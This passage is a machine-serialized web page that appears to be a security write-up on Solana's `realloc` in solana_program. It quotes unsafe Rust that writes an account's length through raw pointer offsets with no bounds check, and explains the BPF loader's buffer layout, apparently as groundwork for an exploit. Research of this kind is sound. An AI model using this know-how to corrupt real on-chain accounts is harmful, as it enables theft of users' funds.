data\n",{"type":24,"tag":930,"props":16954,"children":16955},{"class":932,"line":1122},[16956,16960,16965,16969,16973,16977,16982,16987,16991,16996,17000,17004,17009,17013,17017,17021,17025,17029,17033,17037,17041],{"type":24,"tag":930,"props":16957,"children":16958},{"style":937},[16959],{"type":30,"value":6186},{"type":24,"tag":930,"props":16961,"children":16962},{"style":1023},[16963],{"type":30,"value":16964}," ptr",{"type":24,"tag":930,"props":16966,"children":16967},{"style":1158},[16968],{"type":30,"value":6137},{"type":24,"tag":930,"props":16970,"children":16971},{"style":937},[16972],{"type":30,"value":16904},{"type":24,"tag":930,"props":16974,"children":16975},{"style":1158},[16976],{"type":30,"value":436},{"type":24,"tag":930,"props":16978,"children":16979},{"style":1002},[16980],{"type":30,"value":16981},"try_borrow_mut_data",{"type":24,"tag":930,"props":16983,"children":16984},{"style":959},[16985],{"type":30,"value":16986},"()",{"type":24,"tag":930,"props":16988,"children":16989},{"style":1158},[16990],{"type":30,"value":6254},{"type":24,"tag":930,"props":16992,"children":16993},{"style":1002},[16994],{"type":30,"value":16995},"as_mut_ptr",{"type":24,"tag":930,"props":16997,"children":16998},{"style":959},[16999],{"type":30,"value":16986},{"type":24,"tag":930,"props":17001,"children":17002},{"style":1158},[17003],{"type":30,"value":436},{"type":24,"tag":930,"props":17005,"children":17006},{"style":1002},[17007],{"type":30,"value":17008},"offset",{"type":24,"tag":930,"props":17010,"children":17011},{"style":959},[17012],{"type":30,"value":1010},{"type":24,"tag":930,"props":17014,"children":17015},{"style":1158},[17016],{"type":30,"value":1215},{"type":24,"tag":930,"props":17018,"children":17019},{"style":1242},[17020],{"type":30,"value":7192},{"type":24,"tag":930,"props":17022,"children":17023},{"style":959},[17024],{"type":30,"value":5579},{"type":24,"tag":930,"props":17026,"children":17027},{"style":937},[17028],{"type":30,"value":11951},{"type":24,"tag":930,"props":17030,"children":17031},{"style":1158},[17032],{"type":30,"value":12924},{"type":24,"tag":930,"props":17034,"children":17035},{"style":937},[17036],{"type":30,"value":6839},{"type":24,"tag":930,"props":17038,"children":17039},{"style":943},[17040],{"type":30,"value":8972},{"type":24,"tag":930,"props":17042,"children":17043},{"style":959},[17044],{"type":30,"value":5539},{"type":24,"tag":930,"props":17046,"children":17047},{"class":932,"line":1131},[17048,17052,17057,17061,17066,17070,17074],{"type":24,"tag":930,"props":17049,"children":17050},{"style":1158},[17051],{"type":30,"value":10861},{"type":24,"tag":930,"props":17053,"children":17054},{"style":1023},[17055],{"type":30,"value":17056},"ptr",{"type":24,"tag":930,"props":17058,"children":17059},{"style":1158},[17060],{"type":30,"value":6137},{"type":24,"tag":930,"props":17062,"children":17063},{"style":1023},[17064],{"type":30,"value":17065}," new_len",{"type":24,"tag":930,"props":17067,"children":17068},{"style":937},[17069],{"type":30,"value":11937},{"type":24,"tag":930,"props":17071,"children":17072},{"style":943},[17073],{"type":30,"value":8972},{"type":24,"tag":930,"props":17075,"children":17076},{"style":959},[17077],{"type":30,"value":5539},{"type":24,"tag":930,"props":17079,"children":17080},{"class":932,"line":1144},[17081],{"type":24,"tag":930,"props":17082,"children":17083},{"emptyLinePlaceholder":16},[17084],{"type":30,"value":2412},{"type":24,"tag":930,"props":17086,"children":17087},{"class":932,"line":1169},[17088],{"type":24,"tag":930,"props":17089,"children":17090},{"style":1422},[17091],{"type":30,"value":17092},"        // Then set the new length in the local slice\n",{"type":24,"tag":930,"props":17094,"children":17095},{"class":932,"line":1191},[17096,17100,17104,17108,17112,17116,17120,17125,17129,17133,17137,17141,17146,17150,17154,17158,17162,17166,17170,17174,17178,17182,17186,17190,17194,17198,17202,17206,17210,17214,17218],{"type":24,"tag":930,"props":17097,"children":17098},{"style":937},[17099],{"type":30,"value":6186},{"type":24,"tag":930,"props":17101,"children":17102},{"style":1023},[17103],{"type":30,"value":16964},{"type":24,"tag":930,"props":17105,"children":17106},{"style":1158},[17107],{"type":30,"value":6137},{"type":24,"tag":930,"props":17109,"children":17110},{"style":1158},[17111],{"type":30,"value":10253},{"type":24,"tag":930,"props":17113,"children":17114},{"style":937},[17115],{"type":30,"value":6839},{"type":24,"tag":930,"props":17117,"children":17118},{"style":1158},[17119],{"type":30,"value":12924},{"type":24,"tag":930,"props":17121,"children":17122},{"style":959},[17123],{"type":30,"value":17124},"(((",{"type":24,"tag":930,"props":17126,"children":17127},{"style":937},[17128],{"type":30,"value":16820},{"type":24,"tag":930,"props":17130,"children":17131},{"style":1158},[17132],{"type":30,"value":436},{"type":24,"tag":930,"props":17134,"children":17135},{"style":959},[17136],{"type":30,"value":6817},{"type":24,"tag":930,"props":17138,"children":17139},{"style":1158},[17140],{"type":30,"value":436},{"type":24,"tag":930,"props":17142,"children":17143},{"style":1002},[17144],{"type":30,"value":17145},"as_ptr",{"type":24,"tag":930,"props":17147,"children":17148},{"style":959},[17149],{"type":30,"value":3446},{"type":24,"tag":930,"props":17151,"children":17152},{"style":937},[17153],{"type":30,"value":11951},{"type":24,"tag":930,"props":17155,"children":17156},{"style":1158},[17157],{"type":30,"value":12924},{"type":24,"tag":930,"props":17159,"children":17160},{"style":937},[17161],{"type":30,"value":12762},{"type":24,"tag":930,"props":17163,"children":17164},{"style":943},[17165],{"type":30,"value":8972},{"type":24,"tag":930,"props":17167,"children":17168},{"style":959},[17169],{"type":30,"value":6249},{"type":24,"tag":930,"props":17171,"children":17172},{"style":1158},[17173],{"type":30,"value":436},{"type":24,"tag":930,"props":17175,"children":17176},{"style":1002},[17177],{"type":30,"value":17008},{"type":24,"tag":930,"props":17179,"children":17180},{"style":959},[17181],{"type":30,"value":1010},{"type":24,"tag":930,"props":17183,"children":17184},{"style":1242},[17185],{"type":30,"value":7129},{"type":24,"tag":930,"props":17187,"children":17188},{"style":959},[17189],{"type":30,"value":5579},{"type":24,"tag":930,"props":17191,"children":17192},{"style":937},[17193],{"type":30,"value":11951},{"type":24,"tag":930,"props":17195,"children":17196},{"style":943},[17197],{"type":30,"value":8972},{"type":24,"tag":930,"props":17199,"children":17200},{"style":959},[17201],{"type":30,"value":5579},{"type":24,"tag":930,"props":17203,"children":17204},{"style":937},[17205],{"type":30,"value":11951},{"type":24,"tag":930,"props":17207,"children":17208},{"style":1158},[17209],{"type":30,"value":12924},{"type":24,"tag":930,"props":17211,"children":17212},{"style":937},[17213],{"type":30,"value":6839},{"type":24,"tag":930,"props":17215,"children":17216},{"style":943},[17217],{"type":30,"value":8972},{"type":24,"tag":930,"props":17219,"children":17220},{"style":959},[17221],{"type":30,"value":1278},{"type":24,"tag":930,"props":17223,"children":17224},{"class":932,"line":1223},[17225,17229,17233,17237,17241,17245,17249],{"type":24,"tag":930,"props":17226,"children":17227},{"style":1158},[17228],{"type":30,"value":10861},{"type":24,"tag":930,"props":17230,"children":17231},{"style":1023},[17232],{"type":30,"value":17056},{"type":24,"tag":930,"props":17234,"children":17235},{"style":1158},[17236],{"type":30,"value":6137},{"type":24,"tag":930,"props":17238,"children":17239},{"style":1023},[17240],{"type":30,"value":17065},{"type":24,"tag":930,"props":17242,"children":17243},{"style":937},[17244],{"type":30,"value":11937},{"type":24,"tag":930,"props":17246,"children":17247},{"style":943},[17248],{"type":30,"value":8972},{"type":24,"tag":930,"props":17250,"children":17251},{"style":959},[17252],{"type":30,"value":5539},{"type":24,"tag":930,"props":17254,"children":17255},{"class":932,"line":1281},[17256],{"type":24,"tag":930,"props":17257,"children":17258},{"style":959},[17259],{"type":30,"value":1840},{"type":24,"tag":930,"props":17261,"children":17262},{"class":932,"line":1313},[17263],{"type":24,"tag":930,"props":17264,"children":17265},{"emptyLinePlaceholder":16},[17266],{"type":30,"value":2412},{"type":24,"tag":930,"props":17268,"children":17269},{"class":932,"line":1335},[17270],{"type":24,"tag":930,"props":17271,"children":17272},{"style":1422},[17273],{"type":30,"value":17274},"    // zero-init if requested\n",{"type":24,"tag":930,"props":17276,"children":17277},{"class":932,"line":1376},[17278,17282,17287,17292,17296,17301,17305],{"type":24,"tag":930,"props":17279,"children":17280},{"style":1079},[17281],{"type":30,"value":15386},{"type":24,"tag":930,"props":17283,"children":17284},{"style":1023},[17285],{"type":30,"value":17286}," zero_init",{"type":24,"tag":930,"props":17288,"children":17289},{"style":1158},[17290],{"type":30,"value":17291}," &&",{"type":24,"tag":930,"props":17293,"children":17294},{"style":1023},[17295],{"type":30,"value":17065},{"type":24,"tag":930,"props":17297,"children":17298},{"style":1158},[17299],{"type":30,"value":17300}," >",{"type":24,"tag":930,"props":17302,"children":17303},{"style":1023},[17304],{"type":30,"value":16895},{"type":24,"tag":930,"props":17306,"children":17307},{"style":959},[17308],{"type":30,"value":981},{"type":24,"tag":930,"props":17310,"children":17311},{"class":932,"line":1418},[17312,17317],{"type":24,"tag":930,"props":17313,"children":17314},{"style":1002},[17315],{"type":30,"value":17316},"        sol_memset",{"type":24,"tag":930,"props":17318,"children":17319},{"style":959},[17320],{"type":30,"value":2814},{"type":24,"tag":930,"props":17322,"children":17323},{"class":932,"line":1438},[17324,17328,17332,17336,17340,17344,17348,17352,17356,17361,17365],{"type":24,"tag":930,"props":17325,"children":17326},{"style":1158},[17327],{"type":30,"value":10795},{"type":24,"tag":930,"props":17329,"children":17330},{"style":937},[17331],{"type":30,"value":6839},{"type":24,"tag":930,"props":17333,"children":17334},{"style":937},[17335],{"type":30,"value":16904},{"type":24,"tag":930,"props":17337,"children":17338},{"style":1158},[17339],{"type":30,"value":436},{"type":24,"tag":930,"props":17341,"children":17342},{"style":1002},[17343],{"type":30,"value":16981},{"type":24,"tag":930,"props":17345,"children":17346},{"style":959},[17347],{"type":30,"value":16986},{"type":24,"tag":930,"props":17349,"children":17350},{"style":1158},[17351],{"type":30,"value":5347},{"type":24,"tag":930,"props":17353,"children":17354},{"style":959},[17355],{"type":30,"value":6849},{"type":24,"tag":930,"props":17357,"children":17358},{"style":1023},[17359],{"type":30,"value":17360},"orig_len",{"type":24,"tag":930,"props":17362,"children":17363},{"style":1158},[17364],{"type":30,"value":6173},{"type":24,"tag":930,"props":17366,"children":17367},{"style":959},[17368],{"type":30,"value":17369},"],\n",{"type":24,"tag":930,"props":17371,"children":17372},{"class":932,"line":1479},[17373,17378],{"type":24,"tag":930,"props":17374,"children":17375},{"style":1242},[17376],{"type":30,"value":17377},"            0",{"type":24,"tag":930,"props":17379,"children":17380},{"style":959},[17381],{"type":30,"value":2832},{"type":24,"tag":930,"props":17383,"children":17384},{"class":932,"line":1506},[17385,17390,17394,17399,17403,17407],{"type":24,"tag":930,"props":17386,"children":17387},{"style":1023},[17388],{"type":30,"value":17389},"            new_len",{"type":24,"tag":930,"props":17391,"children":17392},{"style":1158},[17393],{"type":30,"value":436},{"type":24,"tag":930,"props":17395,"children":17396},{"style":1002},[17397],{"type":30,"value":17398},"saturating_sub",{"type":24,"tag":930,"props":17400,"children":17401},{"style":959},[17402],{"type":30,"value":1010},{"type":24,"tag":930,"props":17404,"children":17405},{"style":1023},[17406],{"type":30,"value":17360},{"type":24,"tag":930,"props":17408,"children":17409},{"style":959},[17410],{"type":30,"value":9848},{"type":24,"tag":930,"props":17412,"children":17413},{"class":932,"line":1525},[17414],{"type":24,"tag":930,"props":17415,"children":17416},{"style":959},[17417],{"type":30,"value":5221},{"type":24,"tag":930,"props":17419,"children":17420},{"class":932,"line":1569},[17421],{"type":24,"tag":930,"props":17422,"children":17423},{"style":959},[17424],{"type":30,"value":1840},{"type":24,"tag":930,"props":17426,"children":17427},{"class":932,"line":1592},[17428],{"type":24,"tag":930,"props":17429,"children":17430},{"emptyLinePlaceholder":16},[17431],{"type":30,"value":2412},{"type":24,"tag":930,"props":17433,"children":17434},{"class":932,"line":1610},[17435,17440],{"type":24,"tag":930,"props":17436,"children":17437},{"style":943},[17438],{"type":30,"value":17439},"    Ok",{"type":24,"tag":930,"props":17441,"children":17442},{"style":959},[17443],{"type":30,"value":17444},"(())\n",{"type":24,"tag":930,"props":17446,"children":17447},{"class":932,"line":1628},[17448],{"type":24,"tag":930,"props":17449,"children":17450},{"style":959},[17451],{"type":30,"value":2528},{"type":24,"tag":33,"props":17453,"children":17454},{},[17455,17457,17463,17465,17470],{"type":30,"value":17456},"Oh. There's ",{"type":24,"tag":156,"props":17458,"children":17460},{"className":17459},[],[17461],{"type":30,"value":17462},"unsafe",{"type":30,"value":17464},". And no bounds check in sight. ",{"type":24,"tag":6032,"props":17466,"children":17467},{},[17468],{"type":30,"value":17469},"And",{"type":30,"value":17471}," pointer math. That doesn't look promising...",{"type":24,"tag":68,"props":17473,"children":17475},{"id":17474},"breaking-down-realloc",[17476,17478],{"type":30,"value":17477},"Breaking down ",{"type":24,"tag":156,"props":17479,"children":17481},{"className":17480},[],[17482],{"type":30,"value":16745},{"type":24,"tag":33,"props":17484,"children":17485},{},[17486,17488,17493],{"type":30,"value":17487},"Let's pick apart this ",{"type":24,"tag":156,"props":17489,"children":17491},{"className":17490},[],[17492],{"type":30,"value":17462},{"type":30,"value":17494}," block, since there's a lot going on here.",{"type":24,"tag":920,"props":17496,"children":17498},{"className":6102,"code":17497,"language":6101,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[17499],{"type":24,"tag":156,"props":17500,"children":17501},{"__ignoreMap":7},[17502,17510,17597],{"type":24,"tag":930,"props":17503,"children":17504},{"class":932,"line":933},[17505],{"type":24,"tag":930,"props":17506,"children":17507},{"style":1422},[17508],{"type":30,"value":17509},"// First set new length in the serialized data\n",{"type":24,"tag":930,"props":17511,"children":17512},{"class":932,"line":984},[17513,17517,17521,17525,17529,17533,17537,17541,17545,17549,17553,17557,17561,17565,17569,17573,17577,17581,17585,17589,17593],{"type":24,"tag":930,"props":17514,"children":17515},{"style":937},[17516],{"type":30,"value":14894},{"type":24,"tag":930,"props":17518,"children":17519},{"style":1023},[17520],{"type":30,"value":16964},{"type":24,"tag":930,"props":17522,"children":17523},{"style":1158},[17524],{"type":30,"value":6137},{"type":24,"tag":930,"props":17526,"children":17527},{"style":937},[17528],{"type":30,"value":16904},{"type":24,"tag":930,"props":17530,"children":17531},{"style":1158},[17532],{"type":30,"value":436},{"type":24,"tag":930,"props":17534,"children":17535},{"style":1002},[17536],{"type":30,"value":16981},{"type":24,"tag":930,"props":17538,"children":17539},{"style":959},[17540],{"type":30,"value":16986},{"type":24,"tag":930,"props":17542,"children":17543},{"style":1158},[17544],{"type":30,"value":6254},{"type":24,"tag":930,"props":17546,"children":17547},{"style":1002},[17548],{"type":30,"value":16995},{"type":24,"tag":930,"props":17550,"children":17551},{"style":959},[17552],{"type":30,"value":16986},{"type":24,"tag":930,"props":17554,"children":17555},{"style":1158},[17556],{"type":30,"value":436},{"type":24,"tag":930,"props":17558,"children":17559},{"style":1002},[17560],{"type":30,"value":17008},{"type":24,"tag":930,"props":17562,"children":17563},{"style":959},[17564],{"type":30,"value":1010},{"type":24,"tag":930,"props":17566,"children":17567},{"style":1158},[17568],{"type":30,"value":1215},{"type":24,"tag":930,"props":17570,"children":17571},{"style":1242},[17572],{"type":30,"value":7192},{"type":24,"tag":930,"props":17574,"children":17575},{"style":959},[17576],{"type":30,"value":5579},{"type":24,"tag":930,"props":17578,"children":17579},{"style":937},[17580],{"type":30,"value":11951},{"type":24,"tag":930,"props":17582,"children":17583},{"style":1158},[17584],{"type":30,"value":12924},{"type":24,"tag":930,"props":17586,"children":17587},{"style":937},[17588],{"type":30,"value":6839},{"type":24,"tag":930,"props":17590,"children":17591},{"style":943},[17592],{"type":30,"value":8972},{"type":24,"tag":930,"props":17594,"children":17595},{"style":959},[17596],{"type":30,"value":5539},{"type":24,"tag":930,"props":17598,"children":17599},{"class":932,"line":993},[17600,17604,17608,17612,17616,17620,17624],{"type":24,"tag":930,"props":17601,"children":17602},{"style":1158},[17603],{"type":30,"value":1410},{"type":24,"tag":930,"props":17605,"children":17606},{"style":1023},[17607],{"type":30,"value":17056},{"type":24,"tag":930,"props":17609,"children":17610},{"style":1158},[17611],{"type":30,"value":6137},{"type":24,"tag":930,"props":17613,"children":17614},{"style":1023},[17615],{"type":30,"value":17065},{"type":24,"tag":930,"props":17617,"children":17618},{"style":937},[17619],{"type":30,"value":11937},{"type":24,"tag":930,"props":17621,"children":17622},{"style":943},[17623],{"type":30,"value":8972},{"type":24,"tag":930,"props":17625,"children":17626},{"style":959},[17627],{"type":30,"value":5539},{"type":24,"tag":33,"props":17629,"children":17630},{},[17631,17636],{"type":24,"tag":156,"props":17632,"children":17634},{"className":17633},[],[17635],{"type":30,"value":16981},{"type":30,"value":17637}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":24,"tag":151,"props":17639,"children":17641},{"id":17640},"bpf-loader-abi",[17642],{"type":30,"value":17643},"BPF Loader ABI",{"type":24,"tag":33,"props":17645,"children":17646},{},[17647,17649,17654,17656,17669],{"type":30,"value":17648},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":24,"tag":156,"props":17650,"children":17652},{"className":17651},[],[17653],{"type":30,"value":16760},{"type":30,"value":17655},"'s entrypoint code - the code that's added when you use the ",{"type":24,"tag":37,"props":17657,"children":17660},{"href":17658,"rel":17659},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[41],[17661,17667],{"type":24,"tag":156,"props":17662,"children":17664},{"className":17663},[],[17665],{"type":30,"value":17666},"entrypoint!",{"type":30,"value":17668}," macro",{"type":30,"value":476},{"type":24,"tag":920,"props":17671,"children":17673},{"className":6102,"code":17672,"language":6101,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[17674],{"type":24,"tag":156,"props":17675,"children":17676},{"__ignoreMap":7},[17677,17685,17757,17799,17850,17908,17951,17994,18001],{"type":24,"tag":930,"props":17678,"children":17679},{"class":932,"line":933},[17680],{"type":24,"tag":930,"props":17681,"children":17682},{"style":959},[17683],{"type":30,"value":17684},"#[no_mangle]\n",{"type":24,"tag":930,"props":17686,"children":17687},{"class":932,"line":984},[17688,17692,17697,17702,17707,17711,17716,17720,17724,17728,17732,17736,17741,17745,17749,17753],{"type":24,"tag":930,"props":17689,"children":17690},{"style":937},[17691],{"type":30,"value":16797},{"type":24,"tag":930,"props":17693,"children":17694},{"style":937},[17695],{"type":30,"value":17696}," unsafe",{"type":24,"tag":930,"props":17698,"children":17699},{"style":937},[17700],{"type":30,"value":17701}," extern",{"type":24,"tag":930,"props":17703,"children":17704},{"style":1270},[17705],{"type":30,"value":17706}," \"C\"",{"type":24,"tag":930,"props":17708,"children":17709},{"style":937},[17710],{"type":30,"value":16802},{"type":24,"tag":930,"props":17712,"children":17713},{"style":1002},[17714],{"type":30,"value":17715}," entrypoint",{"type":24,"tag":930,"props":17717,"children":17718},{"style":959},[17719],{"type":30,"value":1010},{"type":24,"tag":930,"props":17721,"children":17722},{"style":1023},[17723],{"type":30,"value":11476},{"type":24,"tag":930,"props":17725,"children":17726},{"style":1158},[17727],{"type":30,"value":476},{"type":24,"tag":930,"props":17729,"children":17730},{"style":1158},[17731],{"type":30,"value":12924},{"type":24,"tag":930,"props":17733,"children":17734},{"style":937},[17735],{"type":30,"value":6839},{"type":24,"tag":930,"props":17737,"children":17738},{"style":943},[17739],{"type":30,"value":17740}," u8",{"type":24,"tag":930,"props":17742,"children":17743},{"style":959},[17744],{"type":30,"value":5579},{"type":24,"tag":930,"props":17746,"children":17747},{"style":1158},[17748],{"type":30,"value":16864},{"type":24,"tag":930,"props":17750,"children":17751},{"style":943},[17752],{"type":30,"value":8972},{"type":24,"tag":930,"props":17754,"children":17755},{"style":959},[17756],{"type":30,"value":981},{"type":24,"tag":930,"props":17758,"children":17759},{"class":932,"line":993},[17760,17764,17768,17773,17777,17782,17786,17791,17795],{"type":24,"tag":930,"props":17761,"children":17762},{"style":937},[17763],{"type":30,"value":6122},{"type":24,"tag":930,"props":17765,"children":17766},{"style":959},[17767],{"type":30,"value":1087},{"type":24,"tag":930,"props":17769,"children":17770},{"style":1023},[17771],{"type":30,"value":17772},"program_id",{"type":24,"tag":930,"props":17774,"children":17775},{"style":959},[17776],{"type":30,"value":962},{"type":24,"tag":930,"props":17778,"children":17779},{"style":1023},[17780],{"type":30,"value":17781},"accounts",{"type":24,"tag":930,"props":17783,"children":17784},{"style":959},[17785],{"type":30,"value":962},{"type":24,"tag":930,"props":17787,"children":17788},{"style":1023},[17789],{"type":30,"value":17790},"instruction_data",{"type":24,"tag":930,"props":17792,"children":17793},{"style":959},[17794],{"type":30,"value":5579},{"type":24,"tag":930,"props":17796,"children":17797},{"style":1158},[17798],{"type":30,"value":1522},{"type":24,"tag":930,"props":17800,"children":17801},{"class":932,"line":1057},[17802,17807,17811,17815,17820,17824,17828,17832,17837,17841,17845],{"type":24,"tag":930,"props":17803,"children":17804},{"style":937},[17805],{"type":30,"value":17806},"        unsafe",{"type":24,"tag":930,"props":17808,"children":17809},{"style":959},[17810],{"type":30,"value":12694},{"type":24,"tag":930,"props":17812,"children":17813},{"style":1158},[17814],{"type":30,"value":13396},{"type":24,"tag":930,"props":17816,"children":17817},{"style":937},[17818],{"type":30,"value":17819},"crate",{"type":24,"tag":930,"props":17821,"children":17822},{"style":1158},[17823],{"type":30,"value":6597},{"type":24,"tag":930,"props":17825,"children":17826},{"style":959},[17827],{"type":30,"value":248},{"type":24,"tag":930,"props":17829,"children":17830},{"style":1158},[17831],{"type":30,"value":6597},{"type":24,"tag":930,"props":17833,"children":17834},{"style":1002},[17835],{"type":30,"value":17836},"deserialize",{"type":24,"tag":930,"props":17838,"children":17839},{"style":959},[17840],{"type":30,"value":1010},{"type":24,"tag":930,"props":17842,"children":17843},{"style":1023},[17844],{"type":30,"value":11476},{"type":24,"tag":930,"props":17846,"children":17847},{"style":959},[17848],{"type":30,"value":17849},") };\n",{"type":24,"tag":930,"props":17851,"children":17852},{"class":932,"line":1066},[17853,17858,17863,17868,17872,17876,17880,17884,17888,17892,17896,17900,17904],{"type":24,"tag":930,"props":17854,"children":17855},{"style":1079},[17856],{"type":30,"value":17857},"    match",{"type":24,"tag":930,"props":17859,"children":17860},{"style":1158},[17861],{"type":30,"value":17862}," $",{"type":24,"tag":930,"props":17864,"children":17865},{"style":1023},[17866],{"type":30,"value":17867},"process_instruction",{"type":24,"tag":930,"props":17869,"children":17870},{"style":959},[17871],{"type":30,"value":1010},{"type":24,"tag":930,"props":17873,"children":17874},{"style":1158},[17875],{"type":30,"value":6230},{"type":24,"tag":930,"props":17877,"children":17878},{"style":1023},[17879],{"type":30,"value":17772},{"type":24,"tag":930,"props":17881,"children":17882},{"style":959},[17883],{"type":30,"value":962},{"type":24,"tag":930,"props":17885,"children":17886},{"style":1158},[17887],{"type":30,"value":6230},{"type":24,"tag":930,"props":17889,"children":17890},{"style":1023},[17891],{"type":30,"value":17781},{"type":24,"tag":930,"props":17893,"children":17894},{"style":959},[17895],{"type":30,"value":962},{"type":24,"tag":930,"props":17897,"children":17898},{"style":1158},[17899],{"type":30,"value":6230},{"type":24,"tag":930,"props":17901,"children":17902},{"style":1023},[17903],{"type":30,"value":17790},{"type":24,"tag":930,"props":17905,"children":17906},{"style":959},[17907],{"type":30,"value":1503},{"type":24,"tag":930,"props":17909,"children":17910},{"class":932,"line":1075},[17911,17916,17921,17926,17930,17934,17938,17942,17946],{"type":24,"tag":930,"props":17912,"children":17913},{"style":943},[17914],{"type":30,"value":17915},"        Ok",{"type":24,"tag":930,"props":17917,"children":17918},{"style":959},[17919],{"type":30,"value":17920},"(()) ",{"type":24,"tag":930,"props":17922,"children":17923},{"style":1158},[17924],{"type":30,"value":17925},"=>",{"type":24,"tag":930,"props":17927,"children":17928},{"style":1158},[17929],{"type":30,"value":17862},{"type":24,"tag":930,"props":17931,"children":17932},{"style":937},[17933],{"type":30,"value":17819},{"type":24,"tag":930,"props":17935,"children":17936},{"style":1158},[17937],{"type":30,"value":6597},{"type":24,"tag":930,"props":17939,"children":17940},{"style":959},[17941],{"type":30,"value":248},{"type":24,"tag":930,"props":17943,"children":17944},{"style":1158},[17945],{"type":30,"value":6597},{"type":24,"tag":930,"props":17947,"children":17948},{"style":959},[17949],{"type":30,"value":17950},"SUCCESS,\n",{"type":24,"tag":930,"props":17952,"children":17953},{"class":932,"line":1122},[17954,17959,17963,17968,17972,17976,17981,17985,17990],{"type":24,"tag":930,"props":17955,"children":17956},{"style":943},[17957],{"type":30,"value":17958},"        Err",{"type":24,"tag":930,"props":17960,"children":17961},{"style":959},[17962],{"type":30,"value":1010},{"type":24,"tag":930,"props":17964,"children":17965},{"style":1023},[17966],{"type":30,"value":17967},"error",{"type":24,"tag":930,"props":17969,"children":17970},{"style":959},[17971],{"type":30,"value":5579},{"type":24,"tag":930,"props":17973,"children":17974},{"style":1158},[17975],{"type":30,"value":17925},{"type":24,"tag":930,"props":17977,"children":17978},{"style":1023},[17979],{"type":30,"value":17980}," error",{"type":24,"tag":930,"props":17982,"children":17983},{"style":1158},[17984],{"type":30,"value":436},{"type":24,"tag":930,"props":17986,"children":17987},{"style":1002},[17988],{"type":30,"value":17989},"into",{"type":24,"tag":930,"props":17991,"children":17992},{"style":959},[17993],{"type":30,"value":6607},{"type":24,"tag":930,"props":17995,"children":17996},{"class":932,"line":1131},[17997],{"type":24,"tag":930,"props":17998,"children":17999},{"style":959},[18000],{"type":30,"value":1840},{"type":24,"tag":930,"props":18002,"children":18003},{"class":932,"line":1144},[18004],{"type":24,"tag":930,"props":18005,"children":18006},{"style":959},[18007],{"type":30,"value":2528},{"type":24,"tag":33,"props":18009,"children":18010},{},[18011,18013,18018,18020,18026,18028,18035,18037,18043,18045,18052],{"type":30,"value":18012},"What we see here is the contract's real entrypoint - it takes a ",{"type":24,"tag":156,"props":18014,"children":18016},{"className":18015},[],[18017],{"type":30,"value":6538},{"type":30,"value":18019}," buffer in from the loader, and calls ",{"type":24,"tag":156,"props":18021,"children":18023},{"className":18022},[],[18024],{"type":30,"value":18025},"solana_program::entrypoint::deserialize",{"type":30,"value":18027},", which then ",{"type":24,"tag":37,"props":18029,"children":18032},{"href":18030,"rel":18031},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[41],[18033],{"type":30,"value":18034},"parses out",{"type":30,"value":18036}," all the ",{"type":24,"tag":156,"props":18038,"children":18040},{"className":18039},[],[18041],{"type":30,"value":18042},"AccountInfo",{"type":30,"value":18044},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":24,"tag":37,"props":18046,"children":18049},{"href":18047,"rel":18048},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[41],[18050],{"type":30,"value":18051},"laid out",{"type":30,"value":476},{"type":24,"tag":920,"props":18054,"children":18056},{"className":6102,"code":18055,"language":6101,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[18057],{"type":24,"tag":156,"props":18058,"children":18059},{"__ignoreMap":7},[18060,18077,18157,18190,18197,18245,18289,18297,18321],{"type":24,"tag":930,"props":18061,"children":18062},{"class":932,"line":933},[18063,18068,18072],{"type":24,"tag":930,"props":18064,"children":18065},{"style":959},[18066],{"type":30,"value":18067},"#[allow(clippy",{"type":24,"tag":930,"props":18069,"children":18070},{"style":1158},[18071],{"type":30,"value":6597},{"type":24,"tag":930,"props":18073,"children":18074},{"style":959},[18075],{"type":30,"value":18076},"cast_ptr_alignment)]\n",{"type":24,"tag":930,"props":18078,"children":18079},{"class":932,"line":984},[18080,18084,18089,18093,18097,18101,18105,18109,18113,18117,18121,18125,18129,18133,18137,18141,18145,18149,18153],{"type":24,"tag":930,"props":18081,"children":18082},{"style":937},[18083],{"type":30,"value":14894},{"type":24,"tag":930,"props":18085,"children":18086},{"style":1023},[18087],{"type":30,"value":18088}," data_len",{"type":24,"tag":930,"props":18090,"children":18091},{"style":1158},[18092],{"type":30,"value":6137},{"type":24,"tag":930,"props":18094,"children":18095},{"style":1158},[18096],{"type":30,"value":12924},{"type":24,"tag":930,"props":18098,"children":18099},{"style":959},[18100],{"type":30,"value":1010},{"type":24,"tag":930,"props":18102,"children":18103},{"style":1023},[18104],{"type":30,"value":11476},{"type":24,"tag":930,"props":18106,"children":18107},{"style":1158},[18108],{"type":30,"value":436},{"type":24,"tag":930,"props":18110,"children":18111},{"style":1002},[18112],{"type":30,"value":3184},{"type":24,"tag":930,"props":18114,"children":18115},{"style":959},[18116],{"type":30,"value":1010},{"type":24,"tag":930,"props":18118,"children":18119},{"style":1023},[18120],{"type":30,"value":17008},{"type":24,"tag":930,"props":18122,"children":18123},{"style":959},[18124],{"type":30,"value":5579},{"type":24,"tag":930,"props":18126,"children":18127},{"style":937},[18128],{"type":30,"value":11951},{"type":24,"tag":930,"props":18130,"children":18131},{"style":1158},[18132],{"type":30,"value":12924},{"type":24,"tag":930,"props":18134,"children":18135},{"style":937},[18136],{"type":30,"value":12762},{"type":24,"tag":930,"props":18138,"children":18139},{"style":943},[18140],{"type":30,"valu